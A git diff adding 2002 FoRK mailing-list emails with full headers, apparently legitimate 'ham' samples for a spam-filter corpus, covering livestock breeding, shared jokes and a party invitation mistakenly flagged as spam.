b/bayes/spamham/easy_ham_2/00835.90603de9b085b1871c7fa52f077b1437 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Tue Jul 23 23:43:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 37772440CC + for ; Tue, 23 Jul 2002 18:43:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:43:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NMgj400859 for ; + Tue, 23 Jul 2002 23:42:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B23262940A2; Tue, 23 Jul 2002 15:32:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain + (dsl-208-151-246-47.dsl.easystreet.com [208.151.246.47]) by xent.com + (Postfix) with ESMTP id B84402940A0 for ; Tue, + 23 Jul 2002 15:31:53 -0700 (PDT) +Received: (from karl@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6NN0I107492; Tue, 23 Jul 2002 16:00:18 -0700 +X-Authentication-Warning: localhost.localdomain: karl set sender to + kra@monkey.org using -f +To: Dave Long +Cc: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +References: <200207232205.PAA04796@maltesecat> +From: Karl Anderson +Organization: Ape Mgt. +In-Reply-To: Dave Long's message of "Tue, 23 Jul 2002 15:05:48 -0700" +Message-Id: +User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.7 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 23 Jul 2002 16:00:18 -0700 + +Dave Long writes: + +> > It also strikes me that it will not be very long before livestock is +> > genetically engineered to be dumber and meatier, and better adapted to +> > living in industrial conditions. +> +> If we're willing to count artificial +> selection as genetic engineering, it +> has been happening since pre-literate +> times, and is called "domestication". + +But we're not willing to count it, I hope, since it isn't, any more +than natural selection is genetic engineering. + +-- +Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00836.79ada0b7c57bb8216a015213c9f490e4 b/bayes/spamham/easy_ham_2/00836.79ada0b7c57bb8216a015213c9f490e4 new file mode 100644 index 0000000..13470d4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00836.79ada0b7c57bb8216a015213c9f490e4 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Tue Jul 23 23:54:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8976E440CC + for ; Tue, 23 Jul 2002 18:54:39 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:54:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NMqj401386 for ; + Tue, 23 Jul 2002 23:52:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 864E22940B1; Tue, 23 Jul 2002 15:42:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 10-0-0-223.boston.ximian.com (gateway.ximian.com + [141.154.95.125]) by xent.com (Postfix) with ESMTP id 42B922940A2 for + ; Tue, 23 Jul 2002 15:41:33 -0700 (PDT) +Received: (from louie@localhost) by 10-0-0-223.boston.ximian.com + (8.11.6/8.11.6) id g6NMnaZ15941; Tue, 23 Jul 2002 18:49:36 -0400 +X-Authentication-Warning: 10-0-0-223.boston.ximian.com: louie set sender + to louie@ximian.com using -f +Subject: Re: [Baseline] Raising chickens the high-tech way +From: Luis Villa +To: fork@spamassassin.taint.org +In-Reply-To: +References: <200207232205.PAA04796@maltesecat> + +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8.99 +Message-Id: <1027464575.14880.191.camel@10-0-0-223.boston.ximian.com> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 23 Jul 2002 18:49:35 -0400 + +On Tue, 2002-07-23 at 19:00, Karl Anderson wrote: +> Dave Long writes: +> +> > > It also strikes me that it will not be very long before livestock is +> > > genetically engineered to be dumber and meatier, and better adapted to +> > > living in industrial conditions. +> > +> > If we're willing to count artificial +> > selection as genetic engineering, it +> > has been happening since pre-literate +> > times, and is called "domestication". +> +> But we're not willing to count it, I hope, since it isn't, any more +> than natural selection is genetic engineering. + +It's quite a bit more than natural selection; the times had a +fascinating article a few months back (possibly posted as bits here) +that note that one Holstein bull who died in the 70s is paternally +related to something like 40% of the world's cattle. That's way, way +more than natural selection, and (given the difficulty and expense of +isolating specific genes for size, industrial-living-ness, etc.) more +expansive than raw gene manipulation will be for some time. + +Luis +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00837.c5b7dba1189b678f293ac948c70cd63f b/bayes/spamham/easy_ham_2/00837.c5b7dba1189b678f293ac948c70cd63f new file mode 100644 index 0000000..cca8924 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00837.c5b7dba1189b678f293ac948c70cd63f @@ -0,0 +1,54 @@ +From fork-admin@xent.com Wed Jul 24 00:00:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D2C70440CC + for ; Tue, 23 Jul 2002 19:00:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:00:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NN1p402227 for ; + Wed, 24 Jul 2002 00:01:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EB9912940DE; Tue, 23 Jul 2002 15:51:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 31EBE2940B1 for ; Tue, 23 Jul 2002 15:50:25 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id E54D3C44E; + Wed, 24 Jul 2002 00:48:02 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: My brain hurts +Message-Id: <20020723224802.E54D3C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 00:48:02 +0200 (CEST) + +Working too hard... + +Someone tell me a joke, or email me a beer or something... + +TIA, + Rob. + .-. Robert.Harley@argote.ch .-. + / \ .-. Software Development .-. / \ + / \ / \ .-. _ .-. / \ / \ + / \ / \ / \ / \ / \ / \ / \ + / \ / \ / `-' `-' \ / \ / \ + \ / `-' ArgoTech `-' \ / + `-' http://argote.ch/ `-' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00838.d56da6f1765f9d2e7ffea378549f8993 b/bayes/spamham/easy_ham_2/00838.d56da6f1765f9d2e7ffea378549f8993 new file mode 100644 index 0000000..50b77af --- /dev/null +++ b/bayes/spamham/easy_ham_2/00838.d56da6f1765f9d2e7ffea378549f8993 @@ -0,0 +1,89 @@ +From fork-admin@xent.com Wed Jul 24 00:10:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 41EE9440CC + for ; Tue, 23 Jul 2002 19:10:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:10:47 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NNAk402766 for ; + Wed, 24 Jul 2002 00:10:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D89932940E2; Tue, 23 Jul 2002 16:00:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from axiom.braindust.com (axiom.braindust.com [64.69.71.79]) by + xent.com (Postfix) with ESMTP id DCD5A2940DE for ; + Tue, 23 Jul 2002 15:59:38 -0700 (PDT) +X-Envelope-To: +Received: from chimp.vancouver.com (muses.westel.com [204.244.110.7]) + (authenticated (0 bits)) by axiom.braindust.com (8.12.5/8.11.6) with ESMTP + id g6NN9Nds019121 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 + bits) verified NO) for ; Tue, 23 Jul 2002 16:09:23 -0700 +MIME-Version: 1.0 (Apple Message framework v482) +Content-Type: text/plain; charset=US-ASCII; format=flowed +Subject: Re: My Brain Hurts +From: Ian Andrew Bell +To: fork@spamassassin.taint.org +Content-Transfer-Encoding: 7bit +Message-Id: <28273484-9E91-11D6-8F70-0030657C53EA@ianbell.com> +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 16:08:53 -0700 + + + +Begin forwarded message: + +> From: Ian Andrew Bell +> Date: Tue Jul 23, 2002 02:02:20 PM US/Pacific +> To: foib@ianbell.com +> Subject: @F: [GENERAL] Evil Polling +> +> I know you're sitting there asking yourself, "who is the most evil +> person on the planet?". Wonder no more, your local search engine +> will tell you. Just search for the phrase +" is EVIL" and +> let the internet tell you the real truth. I used two engines to +> verify accuracy. +> +> Phrase: Google Hotbot +> +"Bert is EVIL" 14700 5100 +> +"Microsoft is EVIL" 1730 1600 +> +"Saddam Hussein is EVIL" 98 100 +> +"Ernie is EVIL" 75 69 +> +"Osama Bin Laden is EVIL" 61 72 +> +"Janet Reno is EVIL" 44 19 +> +"George Bush is EVIL" 39 17 +> +"Canada is EVIL" 19 82 +> +"George W. Bush is EVIL" 22 21 +> +"Tony Blair is EVIL" 11 12 +> +"Adolf Hitler is EVIL" 1 23 +> +"Dick Cheney is EVIL" 4 6 +> +"Pat Buchanan is EVIL" 3 6 +> +"Ghandi is EVIL" 2 5 +> +"Bart Simpson is EVIL" 0 1 +> +"Geoff Gachallan is EVIL" 0 0 +> +> +> -Ian. +> +> +> ----------- +> FoIB mailing list -- Bits, Analysis, Digital Group Therapy +> http://foib.ianbell.com/mailman/listinfo/foib + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00839.956327b3652607615ce2920aa5414dcb b/bayes/spamham/easy_ham_2/00839.956327b3652607615ce2920aa5414dcb new file mode 100644 index 0000000..eeece3f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00839.956327b3652607615ce2920aa5414dcb @@ -0,0 +1,82 @@ +From fork-admin@xent.com Wed Jul 24 00:16:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C9196440CC + for ; Tue, 23 Jul 2002 19:16:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:16:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NNGD402935 for ; + Wed, 24 Jul 2002 00:16:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4CC292940F6; Tue, 23 Jul 2002 16:02:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51]) by + xent.com (Postfix) with ESMTP id 4D4492940F5 for ; + Tue, 23 Jul 2002 16:01:13 -0700 (PDT) +Received: from mailgate1.apple.com (A17-128-100-225.apple.com + [17.128.100.225]) by mail-out2.apple.com (8.11.3/8.11.3) with ESMTP id + g6NNAKA20249 for ; Tue, 23 Jul 2002 16:10:20 -0700 (PDT) +Received: from scv3.apple.com (scv3.apple.com) by mailgate1.apple.com + (Content Technologies SMTPRS 4.2.1) with ESMTP id + ; Tue, 23 Jul 2002 16:09:37 + -0700 +Received: from to0202a-dhcp108.apple.com (to0202a-dhcp108.apple.com + [17.212.22.236]) by scv3.apple.com (8.11.3/8.11.3) with ESMTP id + g6NNAGT01103; Tue, 23 Jul 2002 16:10:16 -0700 (PDT) +Subject: Re: [Baseline] Raising chickens the high-tech way +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: fork@spamassassin.taint.org +To: Luis Villa +From: Bill Humphries +In-Reply-To: <1027464575.14880.191.camel@10-0-0-223.boston.ximian.com> +Message-Id: <597AE620-9E91-11D6-93F3-003065F62CD6@whump.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 16:10:16 -0700 + +On Tuesday, July 23, 2002, at 03:49 PM, Luis Villa wrote: + +> It's quite a bit more than natural selection; the times had a +> fascinating article a few months back (possibly posted as bits here) +> that note that one Holstein bull who died in the 70s is paternally +> related to something like 40% of the world's cattle. That's way, way +> more than natural selection, and (given the difficulty and expense of +> isolating specific genes for size, industrial-living-ness, etc.) more +> expansive than raw gene manipulation will be for some time. + +http://www.absglobal.com/ + +They know bull semen, and the burger you ate at lunch may have had its +sire's contribution to its genetics purchased through them. + +My ex-wife worked in their lab for a year while I was in gradual school. +We had boxes of masking tape from ABS pre-printed with the names and +serial numbers of 'decomissioned' bulls. + +They are also known for the hideous puns on their sign just outside of +Madison on I90/94. But the puns haven't been any good since the secretary +who first wrote them retired. + +---- +Bill Humphries +http://www.whump.com/moreLikeThis/ + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00840.49f8f5847e553c654524fcf531212b1a b/bayes/spamham/easy_ham_2/00840.49f8f5847e553c654524fcf531212b1a new file mode 100644 index 0000000..c1f32ef --- /dev/null +++ b/bayes/spamham/easy_ham_2/00840.49f8f5847e553c654524fcf531212b1a @@ -0,0 +1,68 @@ +From fork-admin@xent.com Wed Jul 24 00:21:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D1322440CC + for ; Tue, 23 Jul 2002 19:21:32 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:21:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NNIm403078 for ; + Wed, 24 Jul 2002 00:18:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 82A9E2940E2; Tue, 23 Jul 2002 16:08:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mis-dns.mv.timesten.com (host209.timesten.com + [63.75.22.209]) by xent.com (Postfix) with ESMTP id 37B122940E0 for + ; Tue, 23 Jul 2002 16:07:28 -0700 (PDT) +Received: from mis-exchange.mv.timesten.com (mis-exchange.mv.timesten.com + [10.10.10.8]) by mis-dns.mv.timesten.com (8.11.0/8.11.0) with ESMTP id + g6NNGab13116; Tue, 23 Jul 2002 16:16:36 -0700 +Received: by mis-exchange.mv.timesten.com with Internet Mail Service + (5.5.2653.19) id <35H9VS7P>; Tue, 23 Jul 2002 16:16:36 -0700 +Message-Id: <80CE2C46294CD61198BA00508BADCA830FCE5C@mis-exchange.mv.timesten.com> +From: Sherry Listgarten +To: "'harley@argote.ch'" , fork@spamassassin.taint.org +Subject: RE: My brain hurts +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 16:16:34 -0700 + +> Someone tell me a joke, or email me a beer or something... + +A man is out driving in the country, and drives past a farm with the most +beautiful pig -- fat, healthy, pink, clean, etc. Just a lovely pig. He gets +out to admire the pig, and notices that it has a wooden leg! The farmer +comes by and says "Howdie", and the passerby says "I was just stopping to +admire your pig. What a lovely pig. But what's with the woo..." The farmer +interrupts "Oh, yes, this is the most wonderful pig! When our house had a +huge fire a few years back, and was burning down, this pig came in and +squealed and made sure we all woke up and got out. She really saved our +lives!" "My", says the passerby, "what a great story. But what's with the +wooden l..?" The farmer jumps in again: "And then, when my youngest was out +in the street playing just a few months ago, and a big tractor trailer came +barrelling down on her, this pig jumped right in and pushed her out of the +way, getting them both to the side of the road before the truck came by!" +"I'll say, that does show great bravery," said the passerby. "But, if you +don't mind my asking, what *is* the deal with the wooden leg?" The farmer +paused. "Well," he said, "a pig like that -- you don't want to eat it all at +once!" + +-- Sherry. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00841.29703fd8bff8c1bed489e8af205d0609 b/bayes/spamham/easy_ham_2/00841.29703fd8bff8c1bed489e8af205d0609 new file mode 100644 index 0000000..ade112b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00841.29703fd8bff8c1bed489e8af205d0609 @@ -0,0 +1,79 @@ +From fork-admin@xent.com Wed Jul 24 00:42:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 073FA440CC + for ; Tue, 23 Jul 2002 19:42:53 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:42:53 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NNgj404335 for ; + Wed, 24 Jul 2002 00:42:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 803AF2940A3; Tue, 23 Jul 2002 16:32:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sunserver.permafrost.net (u172n16.hfx.eastlink.ca + [24.222.172.16]) by xent.com (Postfix) with ESMTP id 9264929409B for + ; Tue, 23 Jul 2002 16:31:36 -0700 (PDT) +Received: from [192.168.123.179] (helo=permafrost.net) by + sunserver.permafrost.net with esmtp (Exim 3.35 #1 (Debian)) id + 17X9E8-00072r-00 for ; Tue, 23 Jul 2002 20:38:00 -0300 +Message-Id: <3D3DE9EB.70307@permafrost.net> +From: Owen Byrne +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.0) Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: My brain hurts +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 20:42:35 -0300 + +My only joke, thanks to a professor at the University of Manitoba, circa +1997. Set in the old west. + +A cowboy is riding along on his favorite horse when he's suddenly +surrounded and taken prison by a band of roaming Indians. The indians +take the cowboy and his horse and tell him the traditional way that the +tribe deals with their victims: +Each day for the next 3 days, you get a wish. If its in our power to +grant it to you, we will. After the 3rd wish is done, you die a horrible +slow death. Time for your first wish. + +The cowboy thinks a bit, and says "I want to talk to my horse." So the +indians bring the horse over, the cowboy whispers in his ears, and the +horse runs off. A little while later the horse comes back with a +beautiful blond naked woman. The cowboy and the woman go in the tent, +appropriate noises are heard, and then the horse takes the woman away. + +The next day, time for the wish comes, and the Indians, amazed at +yesterday's performance, all gather round. The cowboy says "I want to +talk to my horse". So the horse is brought over, the cowboy whispers in +its ears, and the horse takes off. A little while later the horse comes +back, with a beautiful brunette, naked, same routine as before, cowboy +and the women go in the tent, ..., etc. + +On the third and final day, the indians are totally amazed, and are +eager to hear what the cowboy's wish will be. So they all gather round, +and the cowboy again says "I want to talk to my horse." The horse is +brought over, and this time the cowboy grabs the horse by the head, +stares right at him, and says -- "Read my lips -- Posse! Posse!" +Owen + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00842.9eb56fa231a7aa2555c7993d0c226b68 b/bayes/spamham/easy_ham_2/00842.9eb56fa231a7aa2555c7993d0c226b68 new file mode 100644 index 0000000..ca9c797 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00842.9eb56fa231a7aa2555c7993d0c226b68 @@ -0,0 +1,124 @@ +From fork-admin@xent.com Wed Jul 24 00:48:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DCF36440CC + for ; Tue, 23 Jul 2002 19:48:17 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:48:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NNm6404465 for ; + Wed, 24 Jul 2002 00:48:07 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BB2302940E9; Tue, 23 Jul 2002 16:37:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from alumnus.caltech.edu (alumnus.caltech.edu [131.215.49.51]) + by xent.com (Postfix) with ESMTP id CDB6E2940E2 for ; + Tue, 23 Jul 2002 16:36:20 -0700 (PDT) +Received: from localhost (localhost [127.0.0.1]) by alumnus.caltech.edu + (8.12.3/8.12.3) with ESMTP id g6NNjJRx021700 for ; + Tue, 23 Jul 2002 16:45:23 -0700 (PDT) +Subject: Re: HD/ID: High-Def Independence Day +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +From: Rohit Khare +To: fork@spamassassin.taint.org +Content-Transfer-Encoding: 7bit +In-Reply-To: <8588127C-8BF9-11D6-8838-003065F890CC@KnowNow.com> +Message-Id: +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 12:25:33 -0700 + +On Sunday, June 30, 2002, at 12:18 AM, Rohit Khare wrote: +> You're all invited to join me for a South Bay Hi-Def spectacle at my +> apartment in Sunnyvale on the Fourth! + +So here's the final report on the HD/ID party. As no less than TEN +forkers pointed out, the invitation, while sent on Sunday 6/30, was only +delivered ten days later on 7/9. + +It got flagged as spam. + +Yes, on a mailing list awash in crap -- and some it is even unsolicited +commercial email, heavens! -- our trusty mailman filters captured and +quarantined just two posts that week, one from me that was > 100K (the +fat articles) and one that was bcc:d (the invite). + +Now, it was a little difficult to recalibrate self-esteem, which as you +can imagine was proportional to the two-digit attendance -- in binary! + +According to the George Washington documentary, I almost had as much +alcohol on hand than he did -- Virginia tradition being to copiously +lubricate each voter. Election day was a public festival day, and it +cost poor George an average of SIXTY-FOUR shots of hard liquor PER VOTER +that day... + +So, herewith is the prize for most appropriate flame my delayed invite +got: + +> I unfortunately will have had other plans and thus will +> not be able to have made it. Yes. +> +> -faisal + +One of our competitors added: +> Wow - I just got this now - I guess that was KnowLate! + +And there is no prize for guessing which cold, dark forks emitted these +two plaints: + + From Whiny Dwarf: +> Fix your mail server! just a bit late! + +And Angry Dwarf: +> God DAAAAAMMMMMNNNNN IIIIITTT! I didn't see your message until now! +> Fuck! Fuck! Fuck! +> +> We would have been there if I had seen the message before. Kuso! (as +> the Japanese would say). +> +> Fuck. +> Fuck. +> Fuck. +> Fuck. +> Fuck. +> Fuck. + +Perhaps I should remind the latter gently that it was not in any way his +fault. The universe *was* out to get him! + +And finally, here's an object lesson for all ye of little faith to learn +from my sins: + +> SpamAssassin rated it spam (barely). Gotta stop +> using those "words and phrases which indicate porn" :-) + +Yes, boys and girls, Mr. Assassin, like Mr. Lott, gets very annoyed if +you call the Great American Shrine a... "boob tube" + +:-) + Rohit + +PS. This is the obscure footnote where I actually hide the bits in this +post. What we just encountered here is that an event-processing system +with a 10-day RTT cannot be used to reliably handle events more often +than once every 20 days. That's why I waited to reply. six bonus points +to anyone who can prove this hunch of mine. Hint: try analyzing the +problem in frequency-domain. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00843.b26541d28a2a01ed3f2e9e5597ea321d b/bayes/spamham/easy_ham_2/00843.b26541d28a2a01ed3f2e9e5597ea321d new file mode 100644 index 0000000..8c42b33 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00843.b26541d28a2a01ed3f2e9e5597ea321d @@ -0,0 +1,56 @@ +From fork-admin@xent.com Wed Jul 24 01:31:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DD274440CC + for ; Tue, 23 Jul 2002 20:31:13 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 01:31:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O0Sk406594 for ; + Wed, 24 Jul 2002 01:28:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 84EC52940AC; Tue, 23 Jul 2002 17:18:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 88A4B2940A3 for + ; Tue, 23 Jul 2002 17:17:46 -0700 (PDT) +Received: (qmail 19201 invoked by uid 501); 24 Jul 2002 00:26:48 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 24 Jul 2002 00:26:48 -0000 +From: CDale +To: fork@spamassassin.taint.org +Subject: moooozilla +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 19:26:48 -0500 (CDT) + +funny load message: +moo!moo!moo!moo!moo!moo!moo!moo!moo!moo!moo!moo!Document http://flog.us/ +loaded successfully + +teehee +C + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00844.d212ae45e726f9913ef475cc8cf66673 b/bayes/spamham/easy_ham_2/00844.d212ae45e726f9913ef475cc8cf66673 new file mode 100644 index 0000000..1ae12ec --- /dev/null +++ b/bayes/spamham/easy_ham_2/00844.d212ae45e726f9913ef475cc8cf66673 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Wed Jul 24 01:52:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 25290440CC + for ; Tue, 23 Jul 2002 20:52:37 -0400 